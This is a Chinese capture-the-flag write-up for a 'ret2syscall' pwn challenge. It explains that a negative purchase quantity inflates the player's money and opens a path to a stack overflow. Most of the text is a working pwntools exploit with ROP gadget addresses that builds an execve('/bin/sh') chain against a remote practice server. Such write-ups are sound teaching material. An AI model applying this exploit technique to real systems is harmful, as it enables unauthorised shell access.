好久未做ret2syscall
一、题目分析
漏洞点,栈溢出:
然而到该漏洞点,需要“花钱”买下店铺。个人所有的零钱不够。
利用整数溢出(emmmm这里应该不算溢出漏洞,而是代码逻辑不规范,商品个数不能为负数,但类型确实有符号整数),可增加money
此外,由于程序是静态链接的,所有有大量丰富可利用的Gadget可供我们使用
还有一个细节
name在data段,会复制一份我们输入的字节信息。我们可以在name中写入b’/bin/sh\x00….’,而未开启PIE,地址是固定的,因此rdi的值(’/bin/sh\x00’字符串地址)就有了着落。
二、getshell思路:
1、整数溢出增加money
2、“购买店铺”到漏洞点
3、构造payload:b’/bin/sh\x00’+padding+ret2syscall即可
三、exp
from pwn import *
from pwn import p64,u64
context(arch='amd64',log_level='debug')
io=process('./pwn')
io=remote('node4.anna.nssctf.cn',28716)
elf=ELF('./pwn')
# gdb.attach(io)
# input()
io.recvuntil(b'>')
io.sendline(b'2')
io.recvuntil('3. 鸡肉串\n')
io.sendline(b'2')
io.recvuntil('来几串?\n')
io.sendline(b'-100000')
io.recvuntil(b'>')
io.sendline(b'4')
io.recvuntil('老板,你这摊儿,我买了\n')
io.recvuntil('成交\n')
io.recvuntil(b'>')
io.sendline(b'5')
# 0x000000000040264f : pop rdi ; ret
# 0x000000000040a67e : pop rsi ; ret
# 0x0000000000402aae : pop rsp ; ret
# 0x0000000000401b01 : pop rbp ; ret
# 0x0000000000458827 : pop rax ; ret
# 0x00000000004a404b : pop rdx ; pop rbx ; ret
# 0x0000000000402404 : syscall
rdi=0x000000000040264f
rsi=0x000000000040a67e
rdx_rbx=0x0000000004a404b
rax=0x0000000000458827
syscall=0x0000000000402404
bss=0x4e82c0
# 0x4e6000 0x4e9000 rw-p
# 0x4e9000 0x510000 rw-p
# 一开始没注意到name这个data段上可写的变量,想read一个'/bin/sh\x00'到bss段,但是似乎失败了(?)
# read(int fd, void *buf, size_t count);
# read(0,0x4ee000,0x100)
# fd=0
# buf=0x4ee000
# count=0x100
# payload+=p64(rdi)+p64(fd)+p64(rsi)+p64(buf)+p64(rdx_rbp)+p64(0x100)+p64(0)
payload=b'/bin/sh\x00'+b'a'*0x20
# execve(name,0,0)
name=0x4E60F0
payload+=p64(rdi)+p64(name)+p64(rsi)+p64(0)+p64(rdx_rbx)+p64(0)+p64(0)+p64(rax)+p64(59)+p64(syscall)
io.recvuntil('请赐名:\n')
io.sendline(payload)
io.interactive()
总结
回忆ret2syscall